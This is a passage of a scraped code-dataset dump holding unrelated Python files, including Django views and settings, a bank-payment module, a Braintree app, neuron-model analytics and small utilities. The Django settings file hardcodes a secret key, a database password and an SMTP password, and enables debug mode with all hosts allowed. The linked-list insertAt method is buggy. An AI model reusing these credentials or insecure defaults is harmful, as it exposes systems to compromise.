self._t.size:\n\t\t\treturn (self._x[ind-1],self._y[ind-1])\n\t\telse:\n\t\t\tdt = t - self._t[ind-1]\n\t\t\tx = self._x[ind-1] + dt*self._dx[ind-1]\n\t\t\ty = self._y[ind-1] + dt*self._dy[ind-1]\n\t\t\treturn [x,y]\n\t\t\n\t\t","sub_path":"spline.py","file_name":"spline.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"574851476","text":"from django.shortcuts import render, HttpResponse\nfrom django.http import request,JsonResponse\n\n# Create your views here.\n\n\n\n\ndef index(request):\n def data1():\n\n if (request.GET.get('a') is not None) and (request.GET.get('b') is not None):\n print('test')\n\n m = request.GET.get('a')\n # m = int(m)\n\n n = request.GET.get('b')\n n = str(n)\n print(m, type(m), n, type(n))\n if (m.isdigit()) and (not n.isdigit()):\n m = int(m)\n\n err_code = 0\n err_msg = 'success'\n ref = \"NO.{:d} is {}\".format(m, n)\n\n else:\n err_code = 11\n err_msg = 'system error'\n ref = 'Fail'\n\n data = {\"error_code\": err_code,\n 'error_message': err_msg,\n 'references': ref\n\n }\n return data\n else:\n err_code = 11\n err_msg = 'system error'\n ref = 'Fail'\n data = {\n \"error_code\": err_code,\n 'error_message': err_msg,\n 'references': ref\n }\n return data\n\n data = data1()\n print(data)\n\n\n return render(request,'index.html',context=data)\n\n\n","sub_path":"API_Mock/APITesting/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"487480902","text":"import redis\r\n\r\nkeyword_key = 'keyword_key'\r\nconnect = redis.Redis(host='127.0.0.1', port=6379, db=2)\r\n# proxy_key = 'proxy_key'\r\n# ip_ls = [connect.lindex(proxy_key, i).decode('utf-8') for i in range(connect.llen(proxy_key))]\r\n# print(len(ip_ls))\r\n# for i in ip_ls:\r\n# print(i)\r\n\r\nfor x in range(10):\r\n kw = connect.lindex(keyword_key, x).decode('utf-8').strip()\r\n connect.lrem(keyword_key, kw)\r\n print(kw)\r\n","sub_path":"SGSearchRedisNum/SGSearchNum/my_tools/ip_get_test.py","file_name":"ip_get_test.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"113482745","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2018, Resilient Tech and contributors\n# For license information, please see license.txt\n\nfrom __future__ import unicode_literals\n\nimport frappe\nfrom .api import get_bank_api\n\n@frappe.whitelist()\ndef make_payment(from_account, to_account, transfer_type, amount, payment_desc, \ndocname, comm_type=None, comm_value=None):\n bi_name = frappe.db.get_value('Bank Account', {'account': from_account}, 'name')\n bi = frappe.get_doc('Bank Integration', bi_name)\n\n frappe.emit_js(\"frappe.msgprint('Logging in...');\")\n\n bank = get_bank_api(bi.bank_name, bi.username, bi.bank_account_no)\n bank.login(bi.get_password())\n\n bank.check_login()\n\n frappe.emit_js(\"frappe.update_msgprint('Login Successful! Processing payment...');\")\n\n bank.make_payment(to_account, transfer_type, amount, payment_desc, docname, comm_type, comm_value)\n\n@frappe.whitelist()\ndef continue_payment_with_otp(otp):\n bank = frappe._bank_session \n bank.continue_payment_with_otp(otp)\n\n@frappe.whitelist()\ndef cancel_payment():\n bank = frappe._bank_session \n bank.logout()","sub_path":"bank_integration/bank_integration/make_payment.py","file_name":"make_payment.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"330814588","text":"import braintree\nfrom flask import Flask, render_template, send_from_directory, request\n\ntry:\n from ConfigParser import SafeConfigParser\nexcept ImportError:\n from configparser import SafeConfigParser\n\napp = Flask(__name__)\n\nparser = SafeConfigParser()\nparser.read('secrets.ini')\nMERCHANTID = parser.get('braintree', 'MERCHANTID')\nPUBLICKEY = parser.get('braintree', 'PUBLICKEY')\nPRIVATEKEY = parser.get('braintree', 'PRIVATEKEY')\n\nbraintree.Configuration.configure(braintree.Environment.Sandbox,\n merchant_id=MERCHANTID,\n public_key=PUBLICKEY,\n private_key=PRIVATEKEY)\n\n@app.route(\"/\")\ndef index():\n # Generate client token for the dropin ui\n client_token = braintree.ClientToken.generate({})\n\n return render_template('index.html', token=client_token)\n\n@app.route(\"/proc\", methods=['GET', 'POST'])\ndef proc():\n result = braintree.Transaction.sale({\n \"amount\": request.form[\"amount\"],\n \"payment_method_nonce\": request.form[\"payment_method_nonce\"]\n })\n\n return render_template('proc.html', result=result, request=request.form)\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0')\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"417475482","text":"\"\"\"\nanalytics for leaky integrate-and-fire neurons driven by excitatory shot noise with exponentially distributed weights\n\"\"\"\n\nfrom analytics.decorators.cache_dec import cached\nfrom analytics.decorators.param_dec import dictparams\nfrom numpy import exp, cos, sin, sqrt, real, arctan, arctanh, log, abs, pi\nfrom analytics.helpers import integrate, heav\nimport analytics.shot_noise_driven.if_neuron as ifana\nfrom analytics.specfunc import hyp1f1\nimport numpy as np\nimport mpmath as mp\n\n@dictparams\n@cached\ndef r0(mu, rin_e, a_e, vr, vt, tr): \n \"\"\"Return the stationary firing rate of an LIF driven by excitatory shot noise. \n Adapted from the expression derived in \n Richardson, M. J. & Swarbrick, R. Phys. Rev. Lett., APS, 2010, 105, 178102\"\"\"\n\n T = tr+float(integrate(lambda c: 1./c*(1-a_e*c)**rin_e * (exp(c*(vt-mu))/(1-a_e*c)-exp(c*(vr-mu))), 0, 1./a_e).real)\n return 1./T\n\n@dictparams\n@cached\ndef powspec(fs, mu, rin_e, a_e, vr, vt, tr):\n \"\"\"Return the power spectrum of an LIF driven by excitatory shot noise\"\"\"\n io = 1j*(2*pi*fs)\n Fsn = lambda v: hyp1f1(-io,rin_e-io,(v-mu)/a_e)\n Gsn = lambda v: hyp1f1(-io,1+rin_e-io,(v-mu)/a_e)\n r0sn = r0(locals())\n return r0sn * (abs(exp(-io*tr)*Fsn(vt))**2-abs(rin_e/(rin_e-io)*Gsn(vr))**2)/abs(exp(-io*tr)*Fsn(vt)-rin_e/(rin_e-io)*Gsn(vr))**2\n\n@dictparams\n@cached\ndef suscep(fs, mu, rin_e, a_e, vr, vt, tr):\n \"\"\"Return the susecptibility of an LIF driven by excitatory shot noise with respect to a current modulation\"\"\"\n io = 1j*(2*pi*fs)\n Fsn = lambda v: hyp1f1(-io,rin_e-io,(v-mu)/a_e)\n Gsn = lambda v: hyp1f1(-io,1+rin_e-io,(v-mu)/a_e)\n Fsnp = lambda v: -io/(a_e*(rin_e-io)) * hyp1f1(1-io, 1+rin_e-io, (v-mu)/a_e)\n Gsnp = lambda v: -io/(a_e*(1+rin_e-io)) * hyp1f1(1-io, 2+rin_e-io, (v-mu)/a_e)\n r0sn = r0(locals())\n return -r0sn/(io-1) * (Fsnp(vt)-rin_e/(rin_e-io)*Gsnp(vr))/(Fsn(vt)-exp(io*tr)*rin_e/(rin_e-io)*Gsn(vr))\n\n@dictparams\n@cached\ndef suscep_highf(fs, mu, rin_e, a_e, vr, vt, tr):\n \"\"\"Return the high-frequency limit of an LIF driven by excitatory shot noise with respect to a current modulation\"\"\"\n io = 1j*(2*pi*fs)\n return -1./io * r0(locals())/a_e\n\n\n@dictparams\n@cached\ndef suscep_ratemod(fs, mu, rin_e, a_e, vr, vt, tr):\n \"\"\"Return the susceptibility of a exc-shot-noise-driven LIF with respect to a modulation of the input rate\n XXX check: I think as it is, this implementation only works for mu < vr\"\"\" \n io = 1j*(2*pi*fs)\n dv = float(vt-vr)/1e3\n vs=np.arange(ifana.LIF().intervals(mu=mu, vr=vr, vt=vt)[0][0], vt, dv)\n Fsn = lambda v: hyp1f1(-io,rin_e-io,(v-mu)/a_e)\n Gsn = lambda v: hyp1f1(-io,1+rin_e-io,(v-mu)/a_e)\n prms = locals()\n P0 = lambda v: ifana.P0(prms, model=ifana.LIF(), v=v)\n \n return np.sum(rin_e * np.array([[P0(v) for o in io] for v in vs]) * ((rin_e-io)*np.array([Fsn(v) for v in vs]) -rin_e*np.array([Gsn(v) for v in vs])), axis=0)*dv / ((rin_e-io)*Fsn(vt)-rin_e*exp(io*tr)*Gsn(vr))\n\n@dictparams\n@cached\ndef r0_d(tau, mu, rin_e, rin_i, a_e, a_i, vr, vt, tr): \n T = tr + tau * float(\n mp.quad(\n lambda c: 1./c*(1-a_e*c)**(rin_e*tau) * (1.0 + a_i*c)**(rin_i*tau) * (\n mp.exp(c*(vt-mu))/(1-a_e*c)-mp.exp(c*(vr-mu))), (0, 1./a_e)).real)\n return 1./T\n\n\n@dictparams\n@cached\ndef powspec_d(fs, tau, mu, rin_e, rin_i, a_e, a_i, vr, vt, tr):\n return r0_d(locals()) * (1.+2.0*np.array([complex(st_rate_d(locals(), f=f)) for f in fs]).real)\n\n@dictparams\n@cached\ndef st_rate_d(f, tau, mu, rin_e, rin_i, a_e, a_i, vr, vt, tr):\n \"\"\"a_i must be negative!\"\"\"\n io = - 1j * 2.0 * np.pi * f\n def inv_Z_0(s):\n return (1.0 - a_e*s)**(tau*rin_e) * (1.0 - a_i*s)**(tau*rin_i)\n def A(s):\n return tau*a_e*rin_e / (1.0 - a_e*s) + tau*a_i*rin_i / (1.0 - a_i*s) \n def B(s): \n return mp.exp(s*(vt-mu)) / (1.0 - a_e*s) - mp.exp(s*(vr-mu)-io*tr)\n def dB_ds(s): \n return mp.exp(s*(vt-mu)) / (1.0 - a_e*s) * ((vt-mu) + a_e / (1.0 - a_e*s)) - (vr-mu)*mp.exp(s*(vr-mu)-io*tr)\n def f_num(s): \n return s**(io * tau) * mp.exp(s*(vr-mu)) * mp.exp(-io*tr) * inv_Z_0(s) * (A(s) - (vr-mu))\n def f_den(s):\n return s**(io * tau) * inv_Z_0(s) * (A(s) * B(s) - dB_ds(s)) \n f_num = np.frompyfunc(f_num,1,1)\n f_den = np.frompyfunc(f_den,1,1)\n I_num = mp.quad(f_num, (0.00,1./a_e),maxdegree=40)\n I_den = mp.quad(f_den, (0.00,1./a_e),maxdegree=40)\n return I_num / I_den\n\n","sub_path":"analytics/shot_noise_driven/lif_neuron.py","file_name":"lif_neuron.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"601181206","text":"from __future__ import annotations\nfrom typing import Optional, Any, ClassVar\n\nclass LinkedList:\n class Node:\n item: ClassVar[Any]\n next: Optional[Any]\n\n def __init__(self, data: Any, next = None) -> None:\n self.next = None\n self.item = data\n self.next = next\n\n head: Optional[Node]\n size: ClassVar[int] = 0\n\n def __init__(self) -> None:\n self.head = None\n\n def push(self, value: Any) -> None:\n newNode = self.Node(value)\n if self.head == None:\n self.head = newNode\n else:\n traversalNode = self.head\n\n while traversalNode.next is not None:\n traversalNode = traversalNode.next\n\n traversalNode.next = newNode\n\n self.size += 1\n\n # def unshift(self) -> None:\n \n\n def insertAt(self, index: int, value: Any) -> None:\n if index < 0 or index >= self.size:\n # If index is equal to the size, we're simply doing a push operation\n if index == self.size:\n self.push(value)\n return\n else:\n raise IndexError(\"Index out of bounds\")\n\n traversalNode = self.head\n traversalCounter = 0\n\n while (traversalNode != None) or (traversalCounter != (index - 1)):\n traversalNode = traversalNode.next\n traversalCounter += 1\n\n print(traversalNode)\n\n\n def print(self) -> None:\n traversalNode = self.head\n\n print(\"{ \", end = '')\n while traversalNode is not None:\n print(f'{traversalNode.item}{\"\" if (traversalNode == None) else \", \"}', end = '')\n traversalNode = traversalNode.next\n print(\" }\")\n\n\ndef main():\n\n list = LinkedList()\n\n list.push(1)\n list.push(2)\n list.push(3)\n list.push(4)\n\n list.insertAt(0, 777)\n\n list.print()\n\nif __name__ == \"__main__\":\n main()","sub_path":"python/linked_list/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"227326050","text":"#!/usr/bin/env python3\n\nfrom sys import argv\nfrom os import environ\nimport pywal as wal\n# from pywal.backends import wal as wal_backend\n#BACKEND = 'mine'\nBACKEND = None\n\ntry:\n INPUT_PATH = argv[1]\nexcept IndexError:\n # INPUT_PATH = environ['XDG_WALLPAPER_DIR'] + '/favorites'\n INPUT_PATH = environ['XDG_WALLPAPER_DIR']\n\nif BACKEND == 'mine':\n from scheme_generator import gen_wal_scheme\n get_scheme = gen_wal_scheme\nelse:\n\n def get_scheme(path):\n return wal.colors.get(path, backend=BACKEND)\n\n\npath = wal.image.get(INPUT_PATH)\nscheme = get_scheme(path)\n# update terminal colors\nwal.sequences.send(scheme)\n# export template files\nwal.export.every(scheme)\n\n# output image used to shell\nprint(path)\n","sub_path":"bin/wal/wal_set.py","file_name":"wal_set.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"257597469","text":"import os\nimport datetime\n\n##########################################################\n############################### BASE SYSTEM SETTING\n# virtual environment seeting\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nWSGI_APPLICATION = 'cloud.wsgi.application'\n\n# secret key - do not change!\nSECRET_KEY = 'xxjdsht(!163i95yy4^&%uj2jgxziwl#p(p2%h%6f*71vv@ibh'\n\n# platform settings - base\nDEBUG = True # ToDo: Change to False once in production\nALLOWED_HOSTS = ['*'] # ToDo: Change to domain once in production\n#SITE_ID = 1 # ToDo: --- do not change --- linked ot the DB entry with ID == 1\n\nAUTH_USER_MODEL = 'ad.User' \n\n##########################################################\n############################### APPLICATION ROUTER\nROOT_URLCONF = 'cloud.urls'\n\n\n##########################################################\n############################### APPLICATION DEFINITION\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n # Required Dependencies\n 'rest_framework',\n 'corsheaders',\n #'django.contrib.staticfiles',\n #'djangular',\n #'django.contrib.sites',\n #'subdomains',\n 'guardian',\n\n # Optional Dependencies\n\n # TPSOFT Apps\n 'common_p',\n 'common',\n 'warehouse',\n 'ad',\n 'crm',\n]\n\n\n##########################################################\n############################### API SECURITY\nCORS_ORIGIN_ALLOW_ALL = False # - for higher security leave it on False\nCORS_ORIGIN_WHITELIST = () # - list of approved domains to snd requests\n\nCORS_ORIGIN_REGEX_WHITELIST = ('^(http?://)?(\\w+\\.)?manaj\\.tech$', ) # ToDo: Change to correct domain of the system\nCORS_ALLOW_METHODS = ('GET', 'POST', 'PUT', 'PATCH', 'DELETE') # - approved methods\nCORS_ALLOW_HEADERS = ( # - approved headers\n 'x-requested-with',\n 'content-type',\n 'accept',\n 'origin',\n 'authorization',\n 'x-csrftoken'\n )\nCORS_ALLOW_CREDENTIALS = True # - allow to store it in cookies\nCORS_REPLACE_HTTPS_REFERER = False # ToDo: Set to True once SSL will be active\n\n\n##########################################################\n############################### EMAIL\nEMAIL_HOST = 'smtp.websupport.sk'\nEMIAL_PORT = '25'\nEMAIL_HOST_USER = 'django@pribe.co'\nEMAIL_HOST_PASSWORD = '|otoolEr6'\nEMAIL_USE_TLS = False\n\n\n##########################################################\n############################### DATABASE CONFIGURATION\nDATABASES = {\n 'default': {\n 'ENGINE' : 'django.db.backends.postgresql_psycopg2',\n 'NAME' : 'pp01-cloud01-tpsoft',\n 'USER' : 'operatortpcloud',\n 'PASSWORD' : 'vjte34er&57701gvE',\n 'HOST' : '',\n 'PORT' : ''\n }\n}\n\n\n##########################################################\n############################### INTERNATIONALIZATION\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\n\n##########################################################\n############################### STATIC FILES ROUTES\nSTATIC_URL = '/static/assets/'\nSTATIC_ROOT = os.path.join(BASE_DIR, \"static\", \"assets\")\nSTATICFILES_DIRS = [os.path.join(BASE_DIR, \"static\", \"our_static\"),]\n\nMEDIA_URL = '/media/'\nMEDIA_ROOT = os.path.join(BASE_DIR, \"media\")\n\nTEMPLATE_URL = os.path.join(BASE_DIR, \"templates\")\n\n#STATICFILES_FINDERS = (\n# 'django.contrib.staticfiles.finders.FileSystemFinder',\n# 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n# 'djangular.finders.NamespacedAngularAppDirectoriesFinder'\n# )\n\n\n##########################################################\n############################### REST API JWT\nJWT_AUTH = {\n 'JWT_ENCODE_HANDLER': 'rest_framework_jwt.utils.jwt_encode_handler',\n 'JWT_DECODE_HANDLER': 'rest_framework_jwt.utils.jwt_decode_handler',\n 'JWT_PAYLOAD_HANDLER': 'rest_framework_jwt.utils.jwt_payload_handler',\n 'JWT_PAYLOAD_GET_USER_ID_HANDLER': 'rest_framework_jwt.utils.jwt_get_user_id_from_payload_handler',\n 'JWT_RESPONSE_PAYLOAD_HANDLER': 'rest_framework_jwt.utils.jwt_response_payload_handler',\n\n 'JWT_SECRET_KEY': SECRET_KEY,\n 'JWT_ALGORITHM': 'HS256',\n 'JWT_VERIFY': True,\n 'JWT_VERIFY_EXPIRATION': True,\n 'JWT_LEEWAY': 60,\n 'JWT_AUDIENCE': None,\n 'JWT_ISSUER': None,\n 'JWT_ALLOW_REFRESH': True,\n 'JWT_AUTH_HEADER_PREFIX': 'JWT',\n 'JWT_EXPIRATION_DELTA': datetime.timedelta(seconds=43200),\n}\n\n\n##########################################################\n############################### REST API ENGINE\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': (\n 'rest_framework.permissions.IsAuthenticated',\n 'rest_framework.permissions.AllowAny',\n 'rest_framework.permissions.IsAuthenticatedOrReadOnly',\n ),\n\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.BasicAuthentication',\n 'rest_framework.authentication.SessionAuthentication',\n 'rest_framework_jwt.authentication.JSONWebTokenAuthentication',\n ),\n\n #'DEFAULT_METADATA_CLASS': 'cloud.api.metadata.MinimalMetadata',\n\n 'DEFAULT_RENDERER_CLASSES': (\n 'rest_framework.renderers.JSONRenderer',\n 'rest_framework.renderers.BrowsableAPIRenderer',\n ),\n\n 'DEFAULT_PARSER_CLASSES': (\n 'rest_framework.parsers.JSONParser',\n ),\n\n 'DEFAULT_THROTTLE_CLASSES': (\n 'rest_framework.throttling.AnonRateThrottle',\n ),\n\n 'DEFAULT_THROTTLE_RATES': {\n 'anon': '500000/hour',\n },\n\n 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',\n 'PAGE_SIZE': 10,\n}\n\n\n##########################################################\n############################### APPLICATION MIDDLEWARE\nMIDDLEWARE_CLASSES = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'corsheaders.middleware.CorsMiddleware', # CORS Headers Middleware\n #'subdomains.middleware.SubdomainURLRoutingMiddleware', # Subdomains Middleware\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'corsheaders.middleware.CorsPostCsrfMiddleware', # CORS Headers Middleware\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\n\n##########################################################\n############################### AUTHENTICATION MODEL\nAUTHENTICATION_BACKENDS = (\n 'django.contrib.auth.backends.ModelBackend', # this is default\n 'guardian.backends.ObjectPermissionBackend',\n)\n\n\n##########################################################\n############################### PASS VALIDATION ENGINE\nAUTH_PASSWORD_VALIDATORS = [\n {'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',},\n {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',},\n {'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',},\n {'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',},\n]\n\n\n##########################################################\n############################### TEMPLATING ENGINE\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, \"templates\"),],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]","sub_path":"cloud/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":8672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"483206684","text":"\"\"\"scannerapp URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n]\nfrom django.conf.urls import url, include\nfrom rest_framework import routers\nfrom people import views as PeopleViews\nfrom entryexit import views as EntryExitViews\n\nrouter = routers.DefaultRouter()\nrouter.register(r'users', PeopleViews.UserViewSet)\nrouter.register(r'groups', PeopleViews.GroupViewSet)\nrouter.register(r'building', EntryExitViews.BuildingViewSet)\n\n# Wire up our API using automatic URL routing.\n# Additionally, we include login URLs for the browsable API.\nurlpatterns = [\n url(r'^', include(router.urls)),\n url(r'^admin/', admin.site.urls),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n path('api/login', PeopleViews.login),\n\n url(r'^people/$', PeopleViews.PeopleListAPIView.as_view(), name = 'peoplelist'),\n url(r'^people/create/$', PeopleViews.PeopleCreateAPIView.as_view(), name = 'people_create'),\n url(r'^people/(?P\\w+)/$', PeopleViews.PeopleDetailAPIView.as_view(), name = 'people_detail_patch'),\n url(r'^people/(?P\\w+)/delete/$', PeopleViews.PeopleDeleteAPIView.as_view(), name = 'people_delete'),\n \n \n url(r'^entryexit/$', EntryExitViews.EntryExitListAPIView.as_view(), name = 'entryexitlist'),\n url(r'^entry/$', EntryExitViews.EntryAPIView.as_view(), name = 'entry_create_update'),\n url(r'^exit/$', EntryExitViews.ExitAPIView.as_view(), name = 'exit_create_update'),\n\n\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"IITPSEER-Django/scannerapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"549467499","text":"import socket\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ns.bind((\"0.0.0.0\", 7777))\ns.listen(5)\n\ncs, addr = s.accept() # cs vine de la client socket\nbuff = cs.recv(10) # aici dispare cuvantul `from`\n\ncs.send(2 * buff)\ncs.close()\n\n","sub_path":"exercitii_protocoale_udp_tcp_tcpConcurent/tcp/s1-1-proba.py","file_name":"s1-1-proba.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"390494637","text":"# Copyright 2015 Mirantis, Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom ConfigParser import NoOptionError\nimport datetime\nimport json\nimport os\nimport re\nimport subprocess\nimport time\n\nfrom mcv_consoler.common.config import DEFAULT_FAILED_TEST_LIMIT\nfrom mcv_consoler.common.errors import BaseSelfCheckError\nfrom mcv_consoler.common.errors import CAError\nfrom mcv_consoler.common.errors import OSTFError\nfrom mcv_consoler.common.errors import RallyError\nfrom mcv_consoler.common.errors import ResourceError\nfrom mcv_consoler.common.errors import ShakerError\nfrom mcv_consoler.common.errors import SpeedError\nfrom mcv_consoler.common.errors import TempestError\n\nfrom mcv_consoler.logger import LOG\nfrom mcv_consoler import utils\n\n\nLOG = LOG.getLogger(__name__)\n\n\nclass Runner(object):\n\n def __init__(self):\n self.current_task = 1\n self.test_success = []\n self.test_not_found = []\n self.time_of_tests = {}\n self.failure_indicator = CAError.NO_RUNNER_ERROR\n super(Runner, self).__init__()\n\n def run_individual_task(self, task, *args, **kwargs):\n raise NotImplementedError\n\n def verify_container_is_up(self, container_name):\n # TODO(albartash): We need to re-investigate this method.\n # It looks unsafe a little.\n\n LOG.debug(\"Checking %s container...\" % container_name)\n res = subprocess.Popen(\n [\"docker\", \"ps\"],\n stdout=subprocess.PIPE,\n preexec_fn=utils.ignore_sigint).stdout.read()\n detector = re.compile(\"mcv-\" + container_name)\n if re.search(detector, res) is not None:\n # TODO(albartash): This does not relly belongs here,\n # better be moved someplace\n self.container_id = self._extract_container_id(container_name, res)\n LOG.debug(\"Container %s is fine\" % container_name)\n else:\n LOG.debug(\"It has to be started.\")\n getattr(self, \"start_container\")()\n time.sleep(10)\n return self.verify_container_is_up(container_name)\n\n def _extract_container_id(self, container_name, output):\n output = output.split('\\n')\n container_name = \"mcv-\" + container_name\n container_id = \"\"\n for line in output:\n if re.search(container_name, line) is not None:\n container_id = line[0:12]\n\n if not container_id:\n LOG.critical('Cannot extract container ID. '\n 'Please check container name.')\n\n return container_id\n\n def get_error_code(self, tool_name):\n\n codes = {'ostf': OSTFError.FAILED_TEST_LIMIT_EXCESS,\n 'rally': RallyError.FAILED_TEST_LIMIT_EXCESS,\n 'resources': ResourceError.FAILED_TEST_LIMIT_EXCESS,\n 'selfcheck': BaseSelfCheckError.FAILED_TEST_LIMIT_EXCESS,\n 'shaker': ShakerError.FAILED_TEST_LIMIT_EXCESS,\n 'speed': SpeedError.FAILED_TEST_LIMIT_EXCESS,\n 'tempest': TempestError.FAILED_TEST_LIMIT_EXCESS}\n\n return codes[tool_name]\n\n def seconds_to_time(self, s):\n s = int(round(s))\n h = s // 3600\n m = (s // 60) % 60\n sec = s % 60\n\n if m < 10:\n m = str('0' + str(m))\n else:\n m = str(m)\n if sec < 10:\n m = str(m)\n if sec < 10:\n sec = str('0' + str(sec))\n else:\n sec = str(sec)\n\n return str(h) + 'h : ' + str(m) + 'm : ' + str(sec) + 's'\n\n def _validate_test_params(self, **params):\n for key in 'compute', 'concurrency':\n if key not in params:\n continue\n if not isinstance(params[key], int):\n LOG.warning(\"Type mismatch. Parameter '%s' expected to be \"\n \"an %s. Got: %s\" % (key, int, type(key)))\n\n def run_batch(self, tasks, *args, **kwargs):\n \"\"\"Runs a bunch of tasks.\"\"\"\n\n config = kwargs[\"config\"]\n tool_name = kwargs[\"tool_name\"]\n all_time = kwargs[\"all_time\"]\n elapsed_time = kwargs[\"elapsed_time\"]\n try:\n max_failed_tests = int(config.get(tool_name, 'max_failed_tests'))\n except NoOptionError:\n max_failed_tests = DEFAULT_FAILED_TEST_LIMIT\n\n LOG.debug(\"The following tests will be run:\")\n LOG.debug(\"\\n\".join(tasks))\n self.total_checks = len(tasks)\n\n failures = 0\n\n # Note(ayasakov): the database execution time of each test.\n # In the first run for each test tool calculate the multiplier,\n # which shows the difference of execution time between testing\n # on our cloud and the current cloud.\n\n db = kwargs.get('db')\n first_run = True\n multiplier = 1.0\n current_time = 0\n all_time -= elapsed_time\n\n self._validate_test_params(**kwargs)\n\n for task in tasks:\n LOG.info(\"-\" * 60)\n if kwargs.get('event').is_set():\n LOG.info(\"Caught keyboard interrupt. \"\n \"Task %s won't start\" % task)\n break\n time_start = datetime.datetime.utcnow()\n LOG.debug(\"Running task \" + task) # was info\n LOG.debug(\"Time start: %s UTC\" % str(time_start)) # was info\n if self.config.get('times', 'update') == 'False':\n try:\n current_time = db[tool_name][task]\n except KeyError:\n current_time = 0\n\n msg = \"Expected time to complete %s: %s\" % (task,\n self.seconds_to_time(current_time * multiplier))\n if not current_time:\n LOG.debug(msg)\n else:\n LOG.info(msg)\n\n if self.run_individual_task(task, *args, **kwargs):\n self.test_success.append(task)\n else:\n failures += 1\n\n time_end = datetime.datetime.utcnow()\n time = time_end - time_start\n LOG.debug(\"Time end: %s UTC\" % str(time_end))\n\n if self.config.get('times', 'update') == 'True':\n if tool_name in db.keys():\n db[tool_name].update({task: time.seconds})\n else:\n db.update({tool_name: {task: time.seconds}})\n else:\n if first_run:\n first_run = False\n if current_time:\n multiplier = float(time.seconds) / float(current_time)\n all_time -= current_time\n persent = 1.0\n if kwargs[\"all_time\"]:\n persent -= float(all_time) / float(kwargs[\"all_time\"])\n persent = int(persent * 100)\n persent = 100 if persent > 100 else persent\n\n line = 'Completed %s' % persent + '%'\n if all_time and multiplier:\n line += ' and remaining time %s' % self.seconds_to_time(all_time * multiplier)\n LOG.info(line)\n LOG.info(\"-\" * 60)\n\n if failures >= max_failed_tests:\n LOG.info('*LIMIT OF FAILED TESTS EXCEEDED! STOP RUNNING.*')\n self.failure_indicator = 